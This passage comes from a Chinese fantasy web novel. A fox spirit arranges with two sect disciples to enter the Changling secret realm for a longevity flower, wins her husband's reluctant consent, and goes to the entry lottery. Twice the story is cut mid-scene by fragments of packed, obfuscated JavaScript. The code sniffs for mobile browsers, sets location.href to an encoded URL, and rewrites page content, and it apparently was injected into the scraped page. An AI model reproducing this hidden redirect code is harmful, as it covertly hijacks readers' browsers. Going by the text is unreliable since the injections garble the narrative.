此时,胡翘翘便同石珊珊、许曼还有小青,正坐在一家名叫“明月坊”的茶楼二层栏边的一张桌边。这茶楼的桌椅,都是以一种散发着淡淡灵气的楠木制成,还雕有精美的花纹。四人所在的位置,可以将街道上的景色一览无遗。 咚咚。 一只有成年人的大腿那么高的木头兔子自一楼楼梯口,蹦蹦跳跳地上了二楼。 双眼由两颗红宝石镶嵌而成,两只长耳随着步伐一晃一晃,兔爪中捧着个红木托盘,上面放着一套精致的青瓷茶具和几碟糕点。 这木头兔子是出自某个擅长炼器的宗门所制作的最低级的机关傀儡兽,无法战斗,只能按照操控者预先设定好的要求,做一些端茶送水之类的简单工作。而高级的机关兽,则需要通过在其内部以阵法消耗一种特殊的灵石,才能行动,可以用来配合修士的战斗,或是做一些高难度的工作。 木头兔子蹦到几人桌边,停了下来,口中发出一种机械的声音。 “几位尊贵的客人,您们的茶和点心送到了。” 居然还会说话? 胡翘翘大感新鲜,忍不住伸出小手,轻轻摸了下那木头兔子的脑袋。 木头兔子:“请客人不要随意触摸店内伙计。” 胡翘翘吓了一跳,连忙缩回手,赧然赔礼:“不好意思,下次不会了。” 等许曼伸手取下茶壶和茶杯,还有一盘茶点,木头兔子才转头,继续蹦着离开。 等兔子的背影消失在楼梯口,胡翘翘看向了许曼和石珊珊,目光中透着一丝期待。“你们刚才说,能帮我得到凡寿丹?” “您先喝茶,这家的茶叶用的是云雾山的,味道还不错。”许曼端起茶壶,先恭敬地替胡翘翘倒了一杯茶,又给小青也倒了一杯,才斟酌了一下措辞,道:“不能百分之一百的保证,但至少有一线希望。” “什么意思?” “您应该听说过长陵秘境吧?”许曼放下茶壶。 然而,胡翘翘茫然的眼神说明了一切。 “什么秘境?” 怎么,前辈竟然连长陵秘境都不知道? 许曼和石珊珊交换了一个惊讶的眼神,但又随即释然。 前辈既然选择隐居在白崖村那种与世隔绝之地,想必性情淡泊,不喜过问世间俗事,没听说过长陵秘境也在情理之中。 “长陵秘境便是……”许曼顿了顿,娓娓道来。 传说在上古时期,神魔大战席卷天地,其惨烈程度远超想象。在那场旷世之战中,神魔战斗最激烈的地方,甚至会连空间规则都被打碎,导致大世界多处受损。 譬如魔将之一的共工,凶名赫赫,传说他曾在一场大战之中,击碎了守护大世界的天枢阵,引得天倾地陷,险些令世界重归混沌。幸而女娲娘娘以无上神通,炼五色神石补全天阵,这才免去一场浩劫。 后来神魔之战虽然结束,但大世界也因此伤痕累累,不少地方的空间法则混乱不堪,脆弱无比,稍有不慎便会造成时空错乱,乃至世界崩塌。为了守护苍生,众神联手,将这些即将崩溃的区域的人类迁移出来,再将它们与大世界剥离,以秘法封禁,形成了一个个与世隔绝的秘境。 这些秘境如同星辰散落人间,每隔一段时间,便会与大世界重新建立联系,汲取力量,维持自身的平衡稳定。而对于现世的人们来说,秘境则是危机与机遇并存之地。 因为自上古浩劫之后,秘境便与世隔绝,其中不仅蕴藏着大量的天材地宝,更可能遗留着上古神魔之战时遗落的法器宝物、高阶修士的洞府,堪称机缘无数,引得无数人趋之若鹜。 而在长陵城附近,就隐藏着这样一处秘境——长陵秘境。 每隔百年,长陵秘境便会开放一次,而每次只有三天时间,三天后,便会重新关闭。 最近,长陵秘境的开放时间便快到了,所以这几天便有大量的修士从各地赶来,汇集于此地。 听到这里,胡翘翘用纤细的手指托着下巴,困惑道,“可是,这秘境和凡 寿丹又有什么关系呢?” “长陵秘境之中,有一种奇花名为‘长生花’,”许曼放下手中的茶杯,不疾不徐地开口,“长生花是一种能为修士提升寿元的灵药,也能为凡人提升寿元,一朵完整的长生花,能为修士增加十年寿元。” “而若是凡人直接服用这长生花,则能直接增加二十年寿元!”石珊珊补充道,“可以说,长生花比凡寿丹更珍贵、效力也更强!” “啊!” 胡翘翘顿时倒吸一口凉气,长生花比之凡寿丹更为珍贵、效力更强的说法,瞬间在她的心中炸响。 她忙问道,“这个什么长陵秘境,危不危险?” “自古以来,但凡秘境,皆是机缘与危机并存。不过,与其他秘境相比,长陵秘境的危险程度不算高。”徐曼笑道。 至少,大部分进去之人,都能活着出来,而每个活着出来的人,也往往都有不少收获,甚至还曾有进去的人在里面寻到了某个悟道境修士的洞府,从中获得了极其强大的上古术法。 所以,才会有如此之多修士趋之若鹜,在秘境即将开放之时,赶到长陵城。 “若是进了秘境,又该怎么找到长生花?” “长生花并非生长在固定区域,在秘境中可谓是可遇而不可求,若运气不好,可能整整三天也遇不到一朵。” 胡翘翘若有所思地点了点头,心中已开始盘算起来。 石珊珊继续道,“若是能找到长生花自然最好,退一步说,就算寻不到长生花,也可以试着在秘境内寻找其他的天材地宝,若是运气好,能得到一些外界罕见的宝物,也能用来和镇魔塔指定换取凡寿丹。据我们所知,每年炼制出来的凡寿丹,朝廷和镇魔塔都会留下一小部分,以备这种类似的情况。” 听到这里,胡翘翘已经下定了决心。 “长陵秘境什么时候正式开放,又怎么才能进去?!” 小青吓了一跳:“翘翘姐,你该不会想去吧?” 胡翘翘点了点头。 她想要去这个什么——长陵秘境! 只要在里面找到了长生花,或是得到什么宝物帮相公换到凡寿丹,这样相公才能增加寿命! “还有两天时间,”许曼说完,随即又试探性地问道,“您确定要去这长陵秘境?” “嗯!” 许曼蹙眉,其间现出一抹为难,“您要去的话,或许有两个问题。” 胡翘翘一愣,“什么?” “其一,长陵秘境的空间结构已经极为脆弱,承受不住太强的修士之力,因此只允许流光境以下的修士进入,即是说,进入其中的修士修为上限为凝魂境大圆满。” 虽说修士可以压制、隐藏修为,但想要十二个时辰都保持,或是瞒过修为更高深之人的眼,却不是一件易事,所以在进入长陵秘境之前,会有魂宫境的修士一一检验进入者的修为深浅。 说到这里,二女的目光不着痕迹地扫过胡翘翘,却发现前辈的脸上没有流露出半分惊讶,神情依旧如常。 她们先是一愣,接着恍然大悟—— 对了,以前辈深不可测的修为,想必能完美地将实力压制在凝魂境,也有办法能顺利通过检验。 便如现在,前辈气息敛而不发,在她们感知中,便如初入感应境的初级修士一般无二。 对前辈来说,这一点小事别说是困扰,恐怕压根连干扰都算不上! 小青却急得直想撞墙。 她很想立刻摇醒胡翘翘,在她耳边大喊,你才修炼了多久,连百年道行都没有,去什么秘境,不等于是送死吗? 但此时当着许曼和石珊珊的面,她却又说不出口。 “还有一个问题……”许曼顿了顿,“每一次,能进入长陵秘境的名额有限。” “有限?为什么?” “还是那个原因,”许曼看着胡翘翘,解释道,“长陵秘境的空间结构已经十分脆弱,如镜花水月,不堪重负,即便是凝魂境的修士,踏入其中也要小心翼翼,百人已经是上限,再多便可能会出现危机。” 石珊珊点头,“所以,长陵秘境的入口一直被严格把控,每次只发放一百个名额,其中九十个会被按比例分配给正道各宗门,由他们派出门人弟子前往,余下的十个,则以现场摇号的方式,发放给散修。” 散修的名额只有十个? 胡翘翘吓了一跳,忍不住朝窗外望去。 街上的修士来来往往,其中散修还占了大半。 这么多人,争夺十个名额,这比例…… 简直堪称腥风血雨啊! 小狐狸有些郁闷,她觉得自己所有的好运似乎都用在了和相公的相遇上,其他的时候,运气实在够呛,想要成功拿到这十个名额中的一个……可能性近乎为零。 但无论如何,她总得试试。 许曼打量着脸色有些阴晴不定的胡翘翘,试探地问,“您是在担心名额之事?” 胡翘翘收回望向窗外的目光,老实地点头。 “您若是真想进入长陵秘境,倒也不必太为名额担心,今年我们五行宗有三个名额,我同石师妹占了两个,还有一个,您要是想去,我们可以想办法帮您争 取。”徐曼顿了顿,“想来此事并无太大难度。” 虽然另外那个名额也已定下,但对方与她和石珊珊的关系都不错,若是两人给出足够的补偿,再与宗门长辈求情一番,告知原委,应该能替胡翘翘争取来。 “对啊,名额之事,我们保证竭尽全力。”石珊珊则是直接拍着胸口,语气坚定地保证。 胡翘翘闻言一怔,目光在二人身上流转,带着几分探究。 “嗯,两位的好意,我很感谢,”小狐狸缓缓开口,语气略带疑惑,“但是,我有一事不太明白……” “请问。” “俗话说,天下没有白来的午餐……” 她目光扫过二人,藏着一丝不易察觉的警惕,“这名额既然如此珍贵,你们为何要帮我?” 虽只有十个名额,却能让这么多修士趋之若鹜,赶到长陵城,这名额的珍贵性也可想而知。 她与她们只是曾有过一面之缘,对方为什么要如此尽心尽力地帮助自己? 胡翘翘可不认为自己是什么天命之女,魅力大到能让才见了一次面的修士如此倾心相助。 况且,方才那个圆脸修士,也让她更加确信了相公曾经说过的几句话—— 天上不太可能会掉馅饼,更多的时候是你掉进陷阱。 有人对你掏心掏肺,多半是他要对你掏心掏肺。 这世上的大多数事儿就像天平,你想要得到什么,就得往另一边放上些什么。 小青也会意,冷笑一声,“是呀,你们究竟在打什么主意?” 空气中弥漫着一丝微妙的沉默,石珊珊和许曼交换了一个眼神,心中了然:前辈这问题,必然是在试探她们是否会泄露她的身份! 若她们说是因为想要报答她的救命之恩,没准反倒会让前辈不悦。 思如电转,少顷后,许曼端起茶盏,慢条斯理地抿了一口,才笑了起来,“果然,和聪明人说话,还是不要拐弯抹角的好!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892980|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 胡翘翘/小青:“?” “和您直说吧,若是我们帮您得到了第三个名额,作为交换,您在秘境内的收获,除去长生花之外,余下的,需分给我们两人各四分之一!”她优雅地将茶盏放回桌上,看了一眼石珊珊,“石师妹,此话可对?” 石珊珊心领神会,掩嘴笑道,“没错,还要由我们先选!” “你们每人各拿走四分之一,这便是一半没了,还得让你们先选……”小青一听,顿时发出一声冷笑:“照你这么说,这是要翘翘姐白出力啊!” 听到这话,许曼和石珊珊都不禁用余光扫了一眼胡翘翘,却发现她脸上并没有流露出任何不满或是不悦,仿佛对她们的要求并未放在心上。 果然,她们猜对了。 前辈的眼界,早已高到了一种常人难以想象的地步,她真正在意的只有能为她的道侣延寿的长生花,其余的东西,压根不被她放在眼里, 想来也是,以前辈的实力,估计早已见过了无数珍稀至极的宝物,就说方才她与那圆脸修士交易时,随手拿出用以交换凡寿丹的几样法宝。就已经是她们眼中的稀世珍品了。 就算长陵秘境里的法宝再珍贵,对前辈来说,或许也如同路边的石子般无足轻重。 关键,还是看她们的处理方式。 许曼心中一松,她捻起一块绿豆糕,放入口中,轻轻咀嚼。 咽下后,方才开口,“这也是各取所需,两位想要凡寿丹,就必须得得到一个名额,这长陵秘境的名额何等珍贵,您二位也说了,天下没有白来的午餐,想要名额,自然得付出一定代价了。” 胡翘翘的目光在两人之间逡巡片刻,过了片刻,唇角才徐徐地弯了起来。 “嗯,听你这样说,我心里反而踏实了呢。”她微笑地道,“这个条件,我答应了。若能得到长生花,其余的,就算全给你们也没事。”顿了顿,她又补充,“不过,我也有个不情之请,还望两位能够应允。” “请说。” “如果我运气不好,没能找到长生花,而两位又恰好得到……”胡翘翘语气诚恳,带着几分恳求,“希望两位能与我交换,或者,为我留下一些足够兑换凡寿丹的东西?” “可以。”许曼和石珊珊毫不犹豫地点头。 胡翘翘心中悬着的那块石头终于落了地,又问,“方才你们说,还有两天时间,秘境就要开启,到那时,我又该如何找到你们?” 许曼略作沉吟,答道,“后日巳时,我们还在这间茶楼碰面,届时,我们带您一同前往秘境开启之处!” “好!” 随后,许曼与石珊珊又简单地同胡翘翘交代了一些去秘境的注意事项,方起身告辞。 二女走出茶楼,又回头看了眼,都露出会心的笑容。 “前辈方才的考验,咱们应该算是过关了吧?”石珊珊美眸流转,带着几分得意。 “那是自然,”许曼轻笑,“如此一来,既能报答些许前辈的救命之恩,又能让她护佑一二,咱们此行也能更添几分把握。”毕竟,那位前辈深不可测,就算压制修为,也绝非寻常凝魂境修士可比,有她在身边,她们的安全系数无疑会大大提高。 茶楼二层窗畔桌旁,小青已经快要崩溃,她看着胡翘翘,有些欲哭无泪,“翘翘姐,你真的打算去什么长陵秘境啊?” 胡翘翘眨眨眼,有些不明所以,“这还能有假?” “你知道秘境有多危险吗?!”小青急得直跺脚,险些撞翻了茶杯,连忙用手扶住,“几百年前,我姐姐误入了一个秘境,和她一起进去的几乎全军覆没,姐姐还是拼尽全力才逃了出来,那时候她已经凝结妖珠,实力能胜我十倍,就这样,还险遭不幸!” “可是,我一定要为相公找到凡寿丹呀。”胡翘翘目光坚定,“而且,我觉得长陵秘境的危险性应该有限,否则那些修士们怎么会放心让门人弟子进去呢!” “可是那些人至少都是凝魂境修士,”小青对着桌子用了个洁净术,清理掉上面的茶水,同时反驳着,“而且正道宗门都会给弟子多少准备一些保命的手段……” “我不怕!”胡翘翘语气坚定,透着一股不容置疑的决心,她又弯眼一笑,“再说啦,我也还有几颗雷果护身,不会有事的。” “万一你出了什么意外呢?!” “相公说过,天底下没有百分之百没有意外的事情,凡事做到最谨慎就足够了,”胡翘翘看着她,认真说道:“小青,你也别把我当傻瓜呀,真有我解决不了的危险的话,我不会轻举妄动的,可以再找下次机会。” 小青揉了揉太阳穴,只觉得一个头两个大。 这只小狐妖看起来娇憨可爱,怎么内里这么倔啊! 简直像头倔驴一样,油盐不进! 她沉默一会儿,将陈子均搬了出来。 “公子不会同意你去的。” “你别担心,我会想办法说服相公的,”胡翘翘嫣然一笑,眼波流转间,狡黠之色一闪而过,“好啦,我们回去吧,相公在家应该等急了。” 许曼和石珊珊走之前已经付过了账,所以胡翘翘直接起身离开了茶楼,青蛇垂头丧气地跟在她的身后。 很快,她们出了修士区,回到了宅院中。 小青有气无力地回了厢房,心中暗暗决定:这事儿,还是得公子去头疼,她是没辙了! 穿过清幽的园林,胡翘翘摘了一朵栀子花别在鬓边,然后才走进了主楼。 小脚踩在木地板上,几乎无声无息,上了二楼,轻轻推开书房的门,空气中漂浮着的淡淡墨香传入她鼻中。 书房内,陈子均正站在书桌前,一袭月白色长衫,背影挺拔如松。 他神情专注,手腕悬空,笔尖在宣纸上游走,仿佛是在勾勒一幅山水画卷,又像是在雕琢一件精美的玉器。 此刻,他写的是一个“成”字,最后一撇落下,笔尖微顿一提,竹叶般的笔锋便出现,形状锋利而清秀。 胡翘翘的脚步放得更轻,若猫儿般悄无声息地走到陈子均身后,微闪了几下黑黑的长睫毛,然后踮起脚,一双柔若无骨的小手从后捂住了陈子均的双眼。 “相公~猜猜我是谁?” 第110章 摇号开始 陈子均闭着眼,咳了两声,慢悠悠道:“我猜猜……是小梅?” “……” “不对吗?”陈子均的声音困惑了几分,“难道是小雪?” “……” “翠翠?” 胡翘翘明知道陈子均在逗她,还是有些不开心,甩开手,鼓着腮帮子道:“坏相公,翘翘不理你了。” “哎呀,原来是我的亲亲好娘子呀!”陈子均把毛笔搁到笔架上,这才回头,脸上满是笑意。 “……哼。” 陈子均伸手刮了刮她的鼻子,“怎么,真生气了?” “……哼。” “娘子生气也好看,”陈子均捏着她的脸,嘴角勾起一抹笑意,“逗你呢,我的心里眼里,可只有娘子一人,难道娘子还不知道?” 这话一出,胡翘翘的嘴顿时撅不起来了,她一下扑到陈子均的怀里,将脸埋入他的胸口,声音闷闷的,带着几分娇嗔:“坏相公,就会欺负我……我不开心……” “好了,是我错了,”陈子均揽住她的腰,在她头顶上亲了一下,“要我怎么做,娘子才能开心,嗯?” “除非……相公答应我一件事,”胡翘翘的眼珠子转了转,带着几分狡黠地开口。 “什么事?” 她抬起脸,长睫轻颤,撒娇道,“相公先答应,我再说。” 陈子均没有说话,脸上的笑容却渐渐淡了。 手指轻轻摩挲着她白嫩的脸颊,看着她的眼睛,目光仿佛能洞悉一切,“娘子,你这样拐弯抹角,是在心虚,在算计我吗?” 胡翘翘的眼眸中闪过一丝慌乱,“……相公,你、你为什么这么说?” “因为你知道,只要你开口,无论何事,只要我能办到,都会答应你,根本无需任何承诺,”陈子均看着她,声音低沉平静,“除非,那件事是我平时根本不可能答应的,所以你才要先用话将我套住,是不是?” 胡翘翘张口结舌,她没想到只是一句话,就被相公窥出了她的心思。 因为心虚所以心慌,小心脏砰砰跳得快极了,像是藏了一只乱窜的小鹿,要从喉咙眼中蹿出来。 不说话,算是默认了。 陈子均捏着她的小脸,又爱又气,“行了,现在给我老实交代。” 片刻后,胡翘翘低头看着鞋尖儿,小声地将自己想为陈子均寻找凡寿丹,去了修士们的聚居区,又遇到石珊珊与许曼,接受了她们前往长陵秘境的邀请之事,从头至尾,一五一十地说了一遍。 然后,紧张地注视着陈子均的反应, “……所以,你是打算去那个什么秘境,寻找长生花?” 陈子均的声音听不出喜怒。 胡翘翘乖乖地点了下小脑袋。 “不行!” 回答她的,是陈子均毫不犹豫,斩钉截铁般的两个字。 开什么玩笑,秘境那种地方,向来危机四伏,空间结构极不稳定,还有可能遇到各种妖兽或是残留有当初神魔战斗时的余威,她才这么点修为,竟然敢去秘境那种地方,怕是死字都不知道怎么写。 小狐狸顿时急了,扯着陈子均的衣袖,“相公……” 她盈盈若泣,似乎要落泪。 “哭也没用,我是绝对不会同意的。” “我只是想替相公找到凡寿丹,延长寿命。” 她委屈巴巴。 陈子均一颗心都软了,但他知道,此事不能让步。 “秘境太危险了,以后还会有机会的。” “可是,凡寿丹比相公想象的更难得……” “我不愿意让你有任何危险,”陈子均叹了口气,喃喃道,“你要是在秘境里出了什么……” “可是,我也想让相公活得久一点!” 胡翘翘疏长的眼睫毛微微眨动,泪水就像开了闸的水一般涌了出来,没有让他把这句话说完。 “比起相公,翘翘难道连承担一点儿小小的风险都会害怕吗?” 陈子均微微一怔。 “相公,你就答应我嘛!翘翘一定会小心的,找不到长生花也不会勉强,会很珍惜自己的生命的,因为翘翘还要和你在一起一百年、两百年…”胡翘翘紧紧地抱着陈子均的手臂,整个人都挂在他身上。 陈子均沉默片刻,“你若非要去,就得答应我几个条件。” 闻言,胡翘翘顿时笑了起来,腆着脸儿,卖乖讨巧,“别说几个条件,几百个都行呀!” 陈子均板着脸,抬手赏了她一个爆栗,“别给我嬉皮笑脸的,当心我真说几百个。” 胡翘翘吃痛地捂住额头,可怜兮兮地瘪了瘪嘴,她知道相公素来说话算话,真将他惹恼了,是真有可能做出这种事儿的,到时候别说做到了,她光一条条记清楚都不可能! “翘翘不敢了,相公快说。” “第一,无论什么情况,都要把你自己的安全放在第一位,若真有危险,宁可放弃那长生花,等待下次机会,知道吗?” “嗯,翘翘记住了。” “第二,不能对任何人全心信任,哪怕是邀你去的那两个女人,”陈子均轻声道,“人心隔肚皮,特别是在利益攸关、危险当头之时,谁 知道别人打的什么心思?” “好,还有么?” “第三,若你察觉有人对你有恶意,走为上,或是……” “或是什么?” 陈子均的眼神倏地变得凌厉起来。 “先下手为强!” “先下手为强?” 胡翘翘心脏猛地一跳,偷偷抬眸觑了陈子均一眼。 ”对,而且,一旦出手便要雷霆万钧,绝不留情!“他语气冰冷,周身仿佛笼罩了一层寒霜,不复往日的温润如玉,让胡翘翘感到有几分陌生却又莫名心安。 “记住了吗?”陈子均问。 胡翘翘看着陈子均,从他深邃的眸子里看到了自己的倒影,也看到了他隐藏的担忧和决绝。 她知道,相公所说的一切都是为了保护她,只是不得已而为之。 于是,小狐狸乖乖巧巧地点着小脑袋,“嗯,每一个字都记住啦!” 陈子均这才点点头,眉眼间凛冽稍退,“暂时便这样,这两天我若想到别的,再补充。” 胡翘翘眨了眨眼,投进他怀中,手臂圈住他的脖子,小心翼翼地道,“相公,你方才说话的语气,有点儿凶,听着都不像你了……” 陈子均看着她,似笑非笑的,“怕了?” “没有没有,”胡翘翘连忙否认,踮脚用唇贴上他的脸颊,甜糯的声音仿佛浸了蜜糖,“相公所有的样子,我都喜欢的……” “小马屁精。” “才没有,全是真心话~” 陈子均又叹了口气,“这几天别再贪玩,抓紧时间修炼,争取在进秘境之前将你的修为再提升一些,这样才能更有保障。” “嗯,知道啦。” 胡翘翘仰头望着他,弯起的眉眼盛满了星光,甜意在心中蔓延。 忽然,胡翘翘鼻子动动,在他怀里又蹭了蹭,在他胸前嗅来嗅去,脸上渐渐露出疑惑。 陈子均:“……怎么了?” “相公,今天我遇到了一个人,他身上的气息闻起来和你一模一样。”小狐狸抬起眸子,里面满是困惑,“真是奇怪……天下怎么会有闻起来那么像的两个人呢??” “……” 自家娘子的鼻子真是灵敏得可怕,居然连这都能闻出来,该怎么解释才好呢? 陈子均有些不自在地轻咳一声,“这世上的人何止亿万,有一两个闻起来差不多的,也很正常。” “……也有道理。” 胡翘翘歪着脑袋思索了一会儿,似乎接受了这个解释,又重新依偎进他的怀里。 …… …… 两日后。 巳时三刻。 天朗气清,阳光洒在青石板路上,反射出柔和的光芒。 胡翘翘再次踏入修士聚居区,因为她已同石珊珊和许曼约好,所以这次小青并没有一起前来。 较之先前,这里更热闹了几分,处处洋溢着一种躁动和期待,显然都是为了即将开启的长陵秘境。 依旧是那间茶楼,许曼和石珊珊早已等候多时,两人面前的茶水尚且冒着热气,还放着两盘点心。 见到两人,胡翘翘连忙走过去,很诚恳地道歉,“我来迟了,让两位道友久候。”今天她起得虽早,可是被相公监督着又炼化了一滴灵液,才许她出门,几乎是压着约定的时间赶到。 许曼温婉一笑,替她斟上一杯热茶,“我们也是刚到,不必放在心上,先喝杯茶。” 胡翘翘接过茶杯,轻轻揭开面具的下半部分,轻抿一口,茶香在唇齿间弥漫开来。 “这茶好香呀。”她有些惊讶。 饶是她平日里很少喝茶,但也能感觉得出这茶不错,这茶的品质远非上次在茶楼可比,至于相公平时喝的茶,那更是天壤之别,而且一口入肚后,一股细细的暖意便油然而生,像是能增加少许微弱的修为。 “您觉得好喝就行,”得到胡翘翘的夸赞,石珊珊开心得俏脸微红,这茶可是她为了款待前辈,特意向姑祖母软磨硬泡了许久才要来的灵茶。 胡翘翘越喝越觉得不错,决定等从秘境出来,便问问石珊珊这茶是从哪儿买的,她也要买一些送给相公。 稍作片刻,喝了茶,吃了几块点心之后,许曼放下茶杯,笑道:“时间差不多了,我们走吧,马上就要开始摇号了,正好去看看热闹。” “在哪儿摇号?”胡翘翘问。 “就在城外的一座山谷里面,秘境入口也在那儿。”许曼回答,“飞过去只要小半柱香便够了。” 胡翘翘这才恍然,难怪她方才看见不时有修士飞起来,都朝着同一个方向疾驰而去。 出了茶楼,石珊珊和许曼在前面引路,胡翘翘跟在她们的身后。 好在为了这次秘境之行,这几天她也抓紧时间练习了飞行术,虽然实力限制,速度飞不快,但总算是有模有样,不至于在人前露怯。 而石珊珊和许曼则是不动声色地对视一眼,心中皆是暗叹:前辈果然心思缜密,竟从始至终都一直压制修为,不露丝毫破绽,甚至连飞行速度和技巧都在刻意显得生疏,若不是她们之前见识过前辈的实力,恐怕只会以为她就是一个寻常的感应境修士。 很快,三人来到了城外一处空旷的山谷中。 山谷正中有一个巨大的高台,这里便是待会儿要抽签的地方,此刻,高台的周围已经站满了维持秩序的各宗弟子,一个个神色严肃,目光凌厉,让人不敢靠近。 山谷中的修士们又泾渭分明地分成两堆。 一堆是穿着各门派法袍的宗门弟子,他们享有固定名额,无需与散修争抢。 另一侧则是黑压压的散修人群,男女老少,高矮胖瘦,形形色色,却都眼露期盼和紧张。 毕竟这长陵秘境是百年难得一遇的机缘,绝大多数散修的修炼资源本就比宗门弟子要匮乏,哪个不想进去碰碰运气。 胡翘翘也有些庆幸。 多亏许曼和石珊珊,帮她解决了名额,否则就凭她自己,想从这茫茫人海中抢到一个名额的可能性,简直比自家相公是绝世高手还要小嘛。 “那个……”许曼轻轻碰了碰胡翘翘,温声道,“还得麻烦您跟我们先去见见宗门的负责人。” “啊?”胡翘翘吓了一跳。 五行宗的负责人? 那修为肯定比她厉害百倍! 虽然这段时间一直没人看出她的真实身份,但小狐狸的心里还是忍不住打起了小鼓。 可事到如今,总不能临阵脱逃吧? 胡翘翘硬着头皮,控制好表情,随同二女来到了五行宗门人所在的区域。 “姑祖母!“石珊珊像只小雀儿般,欢快地扑向人群中一位气质雍容的中年美妇。 那美妇身穿一身紫色宫装,眉目如画,气质雍容华贵,是一位魂宫境的强者,也是五行宗在长陵城各种事务的负责人。 “珊珊来了啊。”宫装美妇笑着点点头。 石珊珊将胡翘翘介绍给美妇:“这就是我前两天和姑祖母说过的朋友,她想和我们一起参加长陵秘境……”说到这里,她突然结巴了下,想起自己还不知道胡翘翘的名字,“那个……您叫什么名字?” 对上宫装美妇望过来的目光,胡翘翘深吸口气,保持镇定,“我姓胡,叫翘翘,翘楚的翘。” “嗯,我朋友,胡翘翘。”石珊珊连忙补充。 美妇的目光落在胡翘翘身上,仔细打量了一番,眼中闪过一丝不易察觉的惊讶。 前两日,她这侄孙女可是拉着她的袖子软磨硬泡了好久,非要自己同意将宗门的秘境名额让一个给外人,还说倘若不行,她甚至愿意让出她自己的,原来就是为了眼前这个戴着一个粗劣面具的女修。 这女修瞧着年纪不大,修为似乎也不算高深…… 不对,美妇眸光微动,这绝不可能! 只有一个解释,那就是对方深藏不露,将实力压制在感应境,但真实的实力恐怕比她还要高出一截。 要知道,她可是魂宫境强者,能在她眼皮子底下隐藏修为的,掰着手指头都能数过来。 难怪姗姗那丫头说对方深不可测,莫不是哪位隐世不出、驻颜有术的老前辈? 想到这,美妇人心中多了几分敬重,语气也变得更加柔和了几分:“既然你们商量好了,那最后的名额就给胡道友了……” 将宗门去秘境的名额让给一个散修,原本不太合规矩,但双方已经协商好,偶尔破例一次也不是不行。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892981|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 何况,有这样一位深不可测的高人同行,侄孙女和那个叫许曼的女弟子,在秘境中也能多一分安全保障。 “姑祖母,您真好!”石珊珊开心之极,一把挽住美妇的胳膊,轻轻摇晃撒着娇。 总算没辜负前辈的委托! 这时,天空中一阵破空声。 剑光如虹,十余名修士御剑而来,稳稳地落在宗门弟子的区域内。 队伍最中间的,是一个身穿青山宗弟子服饰的少年,一张娃娃脸,剑眉星目,正是林清,他身边一个高挑青年,则是方云。 青山宗的队伍刚一落地,林清眼尖地捕捉到一抹熟悉的身影,顿时,用带着几分熟稔的调侃语气,笑嘻嘻地开口。 “石道友,又见面啦!” “怎么哪都有你?”石珊珊没好气地白了他一眼。 “我要去长陵秘境,不来这里来哪儿啊?”林清凑到石珊珊跟前,语气里带着几分揶揄,“我听说你也要去?不过,看你的修为好像还没到凝魂境大圆满,会不会太冒险了一点?” 石珊珊杏眼一瞪,“你阴阳怪气的什么意思,你不也和我一样,才凝魂境五层么?” 林清挺起胸,一本正经地强调,“不好意思,不久前,本天才刚突破到了凝魂境大圆满,哎呀,真是惭愧,刚好略胜你一筹。” “……” 这臭屁小鬼,个子还没她高,整天拽得和个二五八万一样,真是讨厌之极。 石珊珊冷笑,“那又怎么样,没到流光境,你也不一定是我对手。” “是么?” “要不我们比比?!”石珊珊手握剑柄,冷哼。 “啧,整天喊打喊杀的,你们剑修就是脾气大,”林清故作无奈地摇摇头,忽然眨了下眼,“不如这样,我们打个赌吧?” 石珊珊顺口问,“什么赌?” “自然是比试一下,看我们两宗在 长陵秘境中谁能满载而归。”林清扬了扬眉,语气里带着几分少年特有的飞扬,“至于赌注嘛……”他故意拖长了语调,目光灼灼地盯着石珊珊,“输了的人,以后见到赢的那个,就要叫一声师兄或者师姐,怎么样?” 石珊珊突然想笑,要不是现在气氛不适合,估计她已经笑出了声。 自己这边有前辈在,这臭屁小子百分之百输定了。 她不动声色地用眼角余光瞥了一眼胡翘翘,见后者不言不语,保持平静,心中更是笃定了几分,看来前辈也并不反对打赌一事,那自己便陪他玩玩吧。 “行,我和你赌!”她爽快地答应下来,眉眼间尽是自信。 林清没想到她答应得这么干脆,愣了一下,瞅了眼许曼,后者的唇角也含蓄地扬了起来,仿若这打赌之事,颇为好笑。 他下意识地环视四周,目光忽然落在了胡翘翘身上。 一张粗劣如孩童玩具般的鬼面具,跃入视野。 紧接着,脸上的得色,几乎瞬间被击破。 这……这人难道是当初他们四人遭遇血尸,命悬一线时,突然出现,一招便击退血尸的那位神秘前辈? 对方怎么可能和石珊珊她们在一起? 石珊珊还清了清嗓子,笑嘻嘻地介绍道,“这次我们去长陵秘境的三个名额呢,分别就是我、许师姐,还有这位胡道友了。” 这一瞬间,林清的头皮都麻了。 他脑子转得极快,瞬间也将事情推理了个七七八八。 这一刻,他心中又是再见前辈的激动,又是懊恼,很想抽自己一巴掌,让你好端端的嘴贱,和人打赌! 方云也是脸色微变,“前辈……” 一时间,两人都极为激动。 胡翘翘见两人目光灼灼地盯着她,连忙往许曼身后侧了侧。 石珊珊轻哼了一声,挡住两人的视线,“看什么看,回你们青山宗那边去,马上要摇号了。” 林清和方云幽怨地瞪了她一眼。 还没来得及开口,天空上方忽然传来一阵阵轰隆隆的巨响,吸引了所有人的注意。 众人纷纷抬头望去,只见半空中光芒耀眼,一艘装饰华丽的飞舟,在万众瞩目中飞了过来。这飞舟由几只巨大的孔雀妖宠拉动,周身星光熠熠,船身上绘制着复杂而神圣的星云图案,在星光的勾勒下更显威严。 